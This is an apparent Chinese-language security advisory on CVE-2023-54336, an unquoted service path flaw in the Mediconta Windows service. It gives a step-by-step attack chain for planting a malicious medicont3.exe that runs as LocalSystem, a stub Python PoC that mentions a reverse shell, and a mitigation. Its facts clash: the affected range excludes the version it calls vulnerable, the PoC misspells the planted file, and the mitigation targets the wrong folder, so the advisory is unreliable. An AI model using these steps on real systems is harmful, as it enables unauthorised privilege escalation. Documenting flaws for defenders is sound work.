IPBUF安全漏洞报告
English
CVE-2023-54336 CVSS 8.4 高危

CVE-2023-54336 Mediconta未引用服务路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2023-54336
漏洞类型
未引用服务路径权限提升
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mediconta 3.7.27 (servermedicontservice)

相关标签

未引用服务路径权限提升MedicontaWindows服务本地攻击CVE-2023-54336LocalSystem路径遍历

漏洞概述

CVE-2023-54336是Mediconta软件中的一个高危安全漏洞,CVSS评分达到8.4分。该漏洞存在于Mediconta 3.7.27版本中的servermedicontservice服务,由于Windows服务路径未使用引号包裹,导致存在未引用服务路径(Unquoted Service Path)问题。攻击者可以通过在服务可执行文件路径的中间目录中植入恶意可执行文件,当服务启动时,Windows会按照路径顺序搜索并执行第一个找到的可执行文件。由于服务通常以系统最高权限(LocalSystem)运行,攻击者可借此实现权限提升,在目标系统上以最高权限执行任意代码。

技术细节

该漏洞的根本原因在于Windows服务配置中的路径问题。当服务配置文件中指定的可执行文件路径包含空格且未被引号包裹时,Windows服务控制管理器(SCM)在启动服务时会从左到右解析路径,并在遇到空格时将其作为路径分隔符处理。具体来说,服务路径C:\Program Files (x86)\medicont3\servermedicontservice.exe未被引号包裹,Windows会依次尝试执行:C:\Program.exe、C:\Program Files.exe、C:\Program Files (x86)\medicont3.exe以及最终的C:\Program Files (x86)\medicont3\servermedicontservice.exe。攻击者只需在C:\Program Files (x86)\目录下创建一个名为medicont3.exe的恶意可执行文件,当服务重启时,该恶意文件将以LocalSystem权限被执行,从而实现权限提升和代码执行。

攻击链分析

STEP 1
步骤1
识别目标系统上安装的Mediconta软件及其版本,确认存在servermedicontservice服务
STEP 2
步骤2
检查服务配置,使用sc qc servermedicontservice命令查看BINARY_PATH_NAME,确认路径未使用引号包裹
STEP 3
步骤3
分析可利用的路径注入点,在C:\Program Files (x86)\目录下创建恶意可执行文件medicont3.exe
STEP 4
步骤4
等待服务重启或主动触发服务重启(sc stop/start servermedicontservice)
STEP 5
步骤5
Windows SCM在路径解析时优先找到medicont3.exe并以LocalSystem权限执行,攻击者获得系统最高权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-54336 PoC - Unquoted Service Path in Mediconta # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges on Windows systems with Mediconta installed. import os import subprocess import shutil def check_vulnerability(): """Check if Mediconta service is installed and vulnerable""" try: # Check if the service exists result = subprocess.run( ['sc', 'qc', 'servermedicontservice'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [line for line in result.stdout.split('\n') if 'BINARY_PATH_NAME' in line] if path_line: print(f"[+] Service path: {path_line[0]}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a reverse shell payload as medictont3.exe""" malicious_path = r'C:\Program Files (x86)\medicont3.exe' # Create a simple executable that creates a privileged reverse shell # This is a simplified example - actual attack would use meterpreter or similar shellcode = bytes([ 0x90, 0x90, 0x90, 0x90, # NOP sled # Add your actual shellcode here ]) # In a real attack scenario, you would generate a proper executable # For demonstration, we show the concept: print(f"[*] Malicious executable would be created at: {malicious_path}") print("[*] When servermedicontservice starts, it will execute medictont3.exe") print("[*] The malicious code runs with LocalSystem privileges") def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2023-54336 Mediconta Unquoted Service Path Exploit") print("=" * 60) if check_vulnerability(): print("[+] Mediconta service found and potentially vulnerable") create_malicious_executable() print("[+] Attack vector established") print("[*] Wait for service restart or trigger manually: sc stop servermedicontservice && sc start servermedicontservice") else: print("[-] Service not found or not vulnerable") if __name__ == '__main__': exploit()

影响范围

Mediconta < 3.7.27

防御指南

临时缓解措施
立即限制C:\Program Files (x86)\medicont3\目录的写入权限,移除非管理员用户的写入权限。同时使用sc config命令为服务路径添加引号:sc config servermedicontservice binpath= "C:\Program Files (x86)\medicont3\servermedicontservice.exe"。如果业务允许,考虑临时停止servermedicontservice服务,直到完成软件升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表